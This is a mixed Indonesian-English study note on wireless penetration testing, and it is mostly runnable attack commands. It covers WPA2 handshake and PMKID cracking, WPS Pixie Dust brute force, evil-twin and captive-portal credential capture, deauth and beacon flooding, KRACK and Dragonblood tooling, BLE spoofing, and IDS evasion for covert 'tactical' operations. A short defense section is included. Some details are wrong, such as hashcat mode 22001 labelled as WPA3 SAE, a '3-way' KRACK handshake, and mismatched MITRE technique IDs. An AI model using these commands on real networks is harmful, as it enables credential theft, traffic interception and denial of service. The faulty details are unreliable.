Wireless Pentesting: Aircrack-ng, WPA3 Attack Vectors & Tactical Operations
Wireless penetration testing berbeda fundamentally dari wired: transmisi radio bisa di-intercept tanpa akses fisik, dan protokol wireless memiliki kelemahan kriptografi historis (WEP → WPA → WPA2 → WPA3) yang masing-masing bisa dieksploitasi. Catatan ini mencakup hardware setup, attack vectors untuk WPA2/WPA3, evil twin, dan teknik tactical untuk red team dan military SIGINT operations.
Daftar Isi
1. Hardware — Chipset, Antenna, SDR 2. Aircrack-ng Suite — Complete Reference 3. WPA2 Cracking — 4-Way Handshake & PMKID 4. WPA3 Attack Vectors — Dragonblood & Beyond 5. WPS Attack — Pixie Dust & Bruteforce 6. Evil Twin / Rogue AP 7. De-authentication & Denial of Service 8. KRACK Attack — WPA2 Key Reinstallation 9. EAPOL & RADIUS Attacks — Enterprise WPA 10. Bluetooth & BLE — OSINT & Exploitation 11. Detection & Defense 12. Tactical Wireless — Red Team & Military 13. MITRE ATT&CK Mapping Referensi Koneksi ke Vault
1. Hardware — Chipset, Antenna, SDR
1.1 Wireless Adapter Comparison
Adapter Chipset Mode Monitor 5 GHz Throughput Driver Harga Alfa AWUS036ACH Realtek RTL8812AU ✅ ✅ 867 Mbps rtl8812au~$50 Alfa AWUS036ACM MediaTek MT7612U ✅ ✅ 867 Mbps mt76~$45 Panda PAU09 Ralink RT5572 ✅ ✅ 300 Mbps rt2800usb~$35 Hak5 WiFi Coconut Qualcomm QCA9377 ✅ (multi-channel) ✅ 433 Mbps coconut~$200 HackRF One SDR (1 MHz-6 GHz) N/A N/A N/A hackrf~$300 Yagi Antenna (directional)Passive N/A 2.4/5 GHz 12-18 dBi N/A ~$30
1.2 Driver Setup
# Cek chipset lsusb | grep -i wireless sudo lsusb -v | grep -A 20 "Wireless\|Network"
# Alfa AWUS036ACH (RTL8812AU) sudo apt install realtek-rtl88xxau-dkms # Atau compile: git clone https://github.com/aircrack-ng/rtl8812au cd rtl8812au && make && sudo make install
# Panda PAU09 (RT5572) — sudah support kernel native modinfo rt2800usb | grep version
# Hak5 WiFi Coconut sudo modprobe usbmon wget https://downloads.hak5.org/coconut/setup.sh chmod +x setup.sh && sudo ./setup.sh
# Verify mode monitor sudo airmon-ng sudo iwconfig # cek wlan0 mode: Monitor 1.3 SDR untuk Signal Intelligence
# HackRF One — capture wide spectrum hackrf_transfer -r iq_signal.bin \ -f 2.437G -s 20M -n 20000000 # 20 MHz sample rate
# GQRX — GUI spectrum analyzer gqrx &
# GNU Radio — custom signal processing flowgraph gnuradio-companion wireless_analyzer.grc 2. Aircrack-ng Suite — Complete Reference
# Monitor mode sudo airmon-ng check kill # kill interfering proses sudo airmon-ng start wlan0 # enable monitor mode # wlan0 → wlan0mon
# Scan networks sudo airodump-ng wlan0mon # list all AP + clients sudo airodump-ng --band abg wlan0mon # 2.4 + 5 GHz
# Targeted capture — simpan ke file sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF \ -w capture wlan0mon
# Deauth untuk capture handshake sudo aireplay-ng -0 5 -a AA:BB:CC:DD:EE:FF wlan0mon
# Crack dengan dictionary aircrack-ng -w /usr/share/wordlists/rockyou.txt \ capture-01.cap
# Decrypt capture dengan known PSK airdecap-ng -e "NetworkName" -p "password" capture-01.cap
# Convert capture untuk hashcat aircrack-ng capture-01.cap -J capture-hashcat hashcat -m 22000 capture-hashcat.hccapx /usr/share/wordlists/rockyou.txt 3. WPA2 Cracking — 4-Way Handshake & PMKID
3.1 4-Way Handshake Capture
# Step 1: Monitor network sudo airodump-ng wlan0mon # Copy target BSSID + channel
# Step 2: Capture + deauth sudo airodump-ng -c 1 --bssid AA:BB:CC:DD:EE:FF \ -w handshake wlan0mon
# Terminal 2: Deauth client sudo aireplay-ng -0 2 -a AA:BB:CC:DD:EE:FF \ -c CLIENT_MAC wlan0mon # Tunggu client reconnect → handshake tercapture
# Step 3: Verifikasi handshake aircrack-ng handshake-01.cap | grep "1 handshake" # Output harus: "Found 1 handshake"
# Step 4: Wordlist attack aircrack-ng -w rockyou.txt handshake-01.cap
# Hashcat mode (GPU accelerated) cap2hccapx.bin handshake-01.cap handshake.hccapx hashcat -m 22000 handshake.hccapx rockyou.txt --force hashcat -m 22000 handshake.hccapx rockyou.txt --show # show cracked 3.2 PMKID Attack
Tanpa client — hanya butuh satu packet dari AP!
# PMKID capture via hcxdumptool sudo hcxdumptool -i wlan0mon -o pmkid.pcapng \ --enable_status=1
# Atau pakai bettercap sudo bettercap -eval "wifi.recon on; wifi.show" sudo bettercap -eval "wifi.deauth BSSID" # Cek capture untuk PMKID: # PMKID ada di 1/4 EAPOL frame
# Convert untuk hashcat hcxpcapngtool -o pmkid.22000 pmkid.pcapng hashcat -m 22000 pmkid.22000 rockyou.txt
# Perbedaan PMKID vs Full Handshake: # PMKID: RSN IE hash — tanpa client, tanpa deauth # Handshake: full 4-way — butuh client + deauth 4. WPA3 Attack Vectors — Dragonblood & Beyond
4.1 WPA3 SAE Weaknesses
WPA3 menggunakan Simultaneous Authentication of Equals (SAE) — berbasis Dragonfly handshake. Vulnerability utama:
Attack CVE Dampak Kompleksitas Downgrade attack CVE-2019-13377 Force WPA2 → crack Medium SAE side-channel CVE-2019-9494 Timing leak of password Low (local) Group downgrade CVE-2019-9495 Force weak group Low Denial of Service CVE-2023-52160 SAE commit flood Low Beacon spoof CVE-2023-52161 Beacon corruption → disassociation Low
4.2 Dragonblood Attack
# WPA3 → WPA2 downgrade # Attacker spoof beacon WPA3 AP → broadcast WPA2 capability # Client auto-connect ke WPA2 → capture handshake
# Tools: # 1. hostapd-wpe dengan WPA3 config # 2. Dragonblood detector: # https://github.com/vanhoefm/dragonblood
git clone https://github.com/vanhoefm/dragonblood.git cd dragonblood && sudo python3 dragonblood_downgrade_test.py
# SAE timing attack — measure password character via timing # Prerequisites: client di range dekat (<1m) # Attack: timing analysis of SAE commit → reduce keyspace
# Defense: WPA3 with SAE-PK (Public Key) + 802.11w MFP required 4.3 WPA3-SAE Bruteforce
# hashcat mode 22001 = WPA3 SAE # Capture WPA3 handshake via hcxdumptool sudo hcxdumptool -i wlan0mon -o wpa3.pcapng \ --enable_status=1
# Extract SAE handshake hcxpcapngtool -o wpa3.22001 wpa3.pcapng
# Bruteforce hashcat -m 22001 wpa3.22001 /usr/share/wordlists/rockyou.txt
# Note: WPA3 SAE is MUCH slower to crack than WPA2 # WPA2 PMKID: ~200k h/s per GPU # WPA3 SAE: ~500 h/s per GPU (400× slower) # ⟶ Hanya feasible untuk weak/common passwords 5. WPS Attack — Pixie Dust & Bruteforce
5.1 WPS PIN Attack
# Scan WPS capability sudo wash -i wlan0mon
# Pixie Dust attack — exploit RNG weakness di chipset tertentu sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -K 1 -vv
# Brute force WPS PIN (8 digit) sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -vv -d 2
# Bully — alternatif reaver sudo bully wlan0mon -b AA:BB:CC:DD:EE:FF -vvv
# PixieWPS — advanced pixie dust git clone https://github.com/wiire/pixiewps cd pixiewps && make && sudo make install sudo pixiewps -e PKE -r PKR -s E-HASH1 -z E-HASH2 \ -a AUTHKEY -n E-NONCE
# Test WPS lockout — rate limiting # Setelah 3 wrong PIN, AP akan lock 30-300 detik # Tunggu dan lanjut 5.2 Chipset RNG Vulnerability
Chipset Pixie Dust? Notes Broadcom ✅ Vulnerable WPS RNG predictable Ralink ✅ Vulnerable Enrollee nonce predictable Realtek ✅ Vulnerable Registry RNG weakness Qualcomm ❌ Resistant Cryptographically secure RNG MediaTek ❌ Resistant Proper entropy
6. Evil Twin / Rogue AP
6.1 Basic Evil Twin
# Step 1: Capture target AP info sudo airodump-ng wlan0mon
# Step 2: Deauth target sudo aireplay-ng -0 5 -a TARGET_BSSID wlan0mon
# Step 3: Create rogue AP dengan nama sama # Using airbase-ng sudo airbase-ng -e "TargetNetwork" -c 6 wlan0mon
# With DHCP + internet forwarding sudo airbase-ng -e "TargetNetwork" -c 6 wlan0mon & sudo ifconfig at0 up sudo dhcpd -cf /etc/dhcp/dhcpd.conf at0 echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
# Step 4: Clients yang reconnect akan terhubung ke evil twin # Semua traffic HTTP bisa di-intercept 6.2 hostapd-wpe — Enterprise Attack
# hostapd-wpe — menangkap credential enterprise WPA (PEAP/MSCHAPv2)
# Install git clone https://github.com/brannondorsey/hostapd-wpe cd hostapd-wpe && make sudo make install
# Konfigurasi cat > hostapd-wpe.conf << 'EOF' interface=wlan0mon ssid=CorporateWiFi channel=6 hw_mode=g auth_algs=1 wpa=3 wpa_key_mgmt=WPA-EAP ieee8021x=1 eap_server=1 eap_user_file=/etc/hostapd-wpe/eap_users ca_cert=/etc/hostapd-wpe/certs/ca.pem server_cert=/etc/hostapd-wpe/certs/server.pem private_key=/etc/hostapd-wpe/certs/server.key dh_file=/etc/hostapd-wpe/certs/dh.pem EOF
# Run — semua credential tercapture di /tmp/hostapd-wpe.log sudo hostapd-wpe hostapd-wpe.conf
# Crack MSCHAPv2 yang tercapture # Gunakan asleap atau john sudo asleap -r /tmp/hostapd-wpe.log -f wordlist.txt -n 2 6.3 eaphammer — Framework Evil Twin
git clone https://github.com/s0lst1c3/eaphammer.git cd eaphammer && sudo ./setup.sh
# Generate certificate sudo ./eaphammer --cert-wizard
# Launch evil twin sudo ./eaphammer -i wlan0mon --essid "TargetWiFi" \ --auth wpa-eap --creds
# Captive portal — phish target untuk masukkan password sudo ./eaphammer -i wlan0mon --essid "CorporateWiFi" \ --auth captive-portal --creds 7. De-authentication & Denial of Service
7.1 Aireplay-ng Deauth
# Deauth semua client (broadcast) sudo aireplay-ng -0 5 -a AP_BSSID wlan0mon
# Deauth specific client sudo aireplay-ng -0 5 -a AP_BSSID -c CLIENT_MAC wlan0mon
# Continuous deauth (flood) sudo aireplay-ng -0 0 -a AP_BSSID wlan0mon # 0 = infinite
# Deauth with reason code (IEEE 802.11) # Reason code 1 = unspecified # Reason code 3 = deauthenticated karena leaving # Reason code 4 = inactivity (more stealthy) 7.2 MDK4 — Advanced DoS
# Beacon flood — AP fake berlimpah sudo mdk4 wlan0mon b -n "FakeAP" -c 6
# Authentication flood — server stress sudo mdk4 wlan0mon a -a TARGET_BSSID
# Deauth flood — faster than aireplay sudo mdk4 wlan0mon d -a TARGET_BSSID -c CLIENT_MAC
# SSID probe flood — scan banyak SSID sudo mdk4 wlan0mon p -t TARGET_BSSID -e "SSID" -c 6 7.3 Bettercap — Multi-Protocol DoS
sudo bettercap -eval " set wifi.interface wlan0mon wifi.recon on wifi.deauth AP_BSSID wifi.ap.beacon SSID wifi.ap.rogue SSID "
# HID attack via bettercap BLE ble.recon on ble.enum LE 8. KRACK Attack — WPA2 Key Reinstallation
8.1 Attack Mechanism
KRACK (Key Reinstallation Attack) — CVE-2017-13077 hingga CVE-2017-13088:
1. Attacker melakukan MITM pada 3-way handshake
2. Mencegah client menerima message 4 dari AP
3. Client menginstall key yang sama berulang → nonce reuse
4. Nonce reuse → keystream reuse → decrypt traffic
5. ARP/ICMP injection ke client dengan known keystream
8.2 Exploit
git clone https://github.com/vanhoefm/krackattacks-scripts.git cd krackattacks-scripts
# Monitor mode sudo python3 krack-test-client.py --client wlan0mon
# Exploit — butuh: # - Linux dengan wireless card support monitor mode # - Kompilasi hostapd yang dimodifikasi # - Network adapter yang bisa inject packet
# Konseptual: # 1. Attacker spoof AP: airbase-ng -e TargetAP wlan0mon # 2. Forward ke real AP # 3. Block message 4 dari handshake # 4. Client reinstall key → captured keystream
# Patching: semua OS sudah patch sejak 2018 # Cek apakah client masih vulnerable: sudo python3 krack-detector.py wlan0mon 9. EAPOL & RADIUS Attacks — Enterprise WPA
9.1 EAP Capture & Crack
# freeradius-wpe — intercept EAP credential sudo apt install freeradius-wpe
# Capture PEAP/MSCHAPv2 handshake # Tools: asleap, eapmd5pass, eapharvester
# Asleap — crack LEAP/MSCHAPv2 asleap -r capture.pcap -f wordlist.txt -n 2
# EAP MD5 attack eapmd5pass -r capture.pcap -w wordlist.txt
# EAP-TLS — certificate analysis # Ekstrak certificate dari PCAP tshark -r capture.pcap -Y "eap.tls" -T fields \ -e eap.tls.client_cert > cert.der openssl x509 -in cert.der -inform der -text -noout 9.2 RADIUS Dictionary Attack
# RADIUS shared secret bruteforce # Tool: radcrack radcrack -f capture.pcap -w wordlist.txt
# RADIUS CoA (Change of Authorization) attack # Jika attacker tahu shared secret → disconnect user radclient -f /dev/stdin radius_server_ip:3799 disconnect CoA_Password
# Defense: gunakan RADIUS over TLS (RadSec) port 2083 10. Bluetooth & BLE — OSINT & Exploitation
# BlueZ — Bluetooth classic hciconfig hci0 up hcitool scan # discover classic BT devices hcitool name AA:BB:CC:DD:EE:FF # get device name
# Bettercap BLE sudo bettercap -eval " ble.recon on ble.show ble.enum AA:BB:CC:DD:EE:FF "
# BlueBorne — RCE via BT (CVE-2017-0781) # Check vulnerability: python3 blueborne_test.py AA:BB:CC:DD:EE:FF
# BLE advertisement scanning sudo hcitool lescan # passive scan sudo gatttool -b AA:BB:CC:DD:EE:FF -I # connect + enumerate services
# BLE beacon spoofing git clone https://github.com/google/eddystone python3 eddystone/eddystone_url.py https://attacker.com
# Output OSINT: # - Device class (phone/laptop/IoT) # - BLE service UUID (reveals device type/function) # - Manufacturer data (specific to vendor) 11. Detection & Defense
11.1 WIPS (Wireless Intrusion Prevention)
# Kismet — wireless IDS sudo kismet -c wlan0mon # Web UI: https://localhost:2501 # Detect: deauth flood, evil twin, beacon flood
# Snort rule untuk deauth detection alert wlan [any] any - > [any] any ( msg: "Deauth Flood" ; content: "|c0 00|" ; offset:0 ; threshold:type both, track by_src, count 10, seconds 10 ; sid:1000001 ;)
# WIDS evasion: # Gunakan macchanger + slow rate deauth sudo macchanger -r wlan0mon sudo aireplay-ng -0 1 -a AP_BSSID wlan0mon # 1 packet/minute 11.2 Defense Checklist
Layer Mitigasi Standard Encryption WPA3 SAE-only (disable WPA2 transition) IEEE 802.11ax Management Frames 802.11w MFP (Management Frame Protection) Required WPS Disable WPS entirely - EAP EAP-TLS with client cert (no PEAP) NIST SP 800-97 Rogue AP WIPS + 802.1X + NAC CIS Control 12 Signal Directional antenna, RF shielding TEMPEST Detection Log all association/deauth events SIEM correlation
12. Tactical Wireless — Red Team & Military
12.1 Long-Range Operations
# Prasarana: # - Yagi antenna + LNA (Low Noise Amplifier) — range >1 km # - Battery pack 20,000 mAh # - Single-board computer (Raspberry Pi4 + Alfa card) # - GPS logger untuk wardriving
# Long-range capture # Yagi diarahkan ke target building sudo airodump-ng --gpsd -w tactical_capture wlan0mon
# Drone-based wardriving # Drone + Alfa card + RPi Zero 2W # Otomatis scan dan log GPS → AP location mapping
# Signal intelligence — spectrum analysis # HackRF + yagi → capture full 2.4 GHz spectrum hackrf_transfer -r tactical.bin \ -f 2.4G -s 20M -l 32 -g 40
# Geolocation via RSSI triangulation # 3+ receiver → trilateration python3 trilaterate.py \ --rssi1=-45 --gps1= "lat1,lon1" \ --rssi2=-60 --gps2= "lat2,lon2" \ --rssi3=-72 --gps3= "lat3,lon3" 12.2 Covert Operations
Teknik Metode Low power Kurangi TX power ke 1 mW — undetectable >5m Channel hopping Ubah channel tiap beacon — evade channel-based IDS MAC randomization Ubah MAC per packet — tracing impossible Air gap exfil Exfiltrate data via hidden SSID broadcast Bluetooth beacon Deploy BLE beacon di target area — passive collection Jamming Selective jamming of specific channel (ethical considerations!)
13. MITRE ATT&CK Mapping
Tactic Technique ID Nama Wireless Variant Initial Access T1560 Exploit Public-Facing Application Rogue AP captive portal Credential Access T1110 Brute Force WPA2 PMKID, WPS PIN Credential Access T1557 Man-in-the-Middle Evil Twin, KRACK Collection T1020 Automated Exfiltration Wardriving data Command & Control T1095 Non-Application Layer Protocol Hidden SSID C2 Impact T1499 Endpoint DoS Deauth flood Reconnaissance T1427 Active Scanning Wi-Fi AP enumeration
Referensi
Vanhoef, M. & Piessens, F. “Key Reinstallation Attacks: Forcing Nonce Reuse in WPA2.” CCS (2017). KRACK
Vanhoef, M. & Ronen, E. “Dragonblood: Analyzing the Dragonfly Handshake of WPA3.” USENIX (2020).
Aircrack-ng Team. “Aircrack-ng Documentation.” (2024). https://www.aircrack-ng.org/
Dominic Spill. “The Grumpy Old Engineer’s Guide to Wi-Fi Hacking.” (2023).
Hak5. “WiFi Coconut — Multi-channel Capture.” (2024).
Reaver — WPS Attack Tool. “Pixie Dust Attack Documentation.” (2023).
Sectools. “Wireless Penetration Testing Methodology.” (2024).
NIST. “SP 800-97: Establishing Wireless Robust Security Networks.” (2023).
Offensive Security. “Wi-Fi Attacks and Defense — PWK/Wireless.” (2024).
Bishop Fox. “Wireless Security Assessment Methodology.” (2024).
GNU Radio. “Signal Processing for Wireless Analysis.” (2024).
Bettercap. “WiFi, BLE, and HID attack framework.” (2024).
Kismet. “Wireless IDS Documentation.” (2024).
Koneksi ke Vault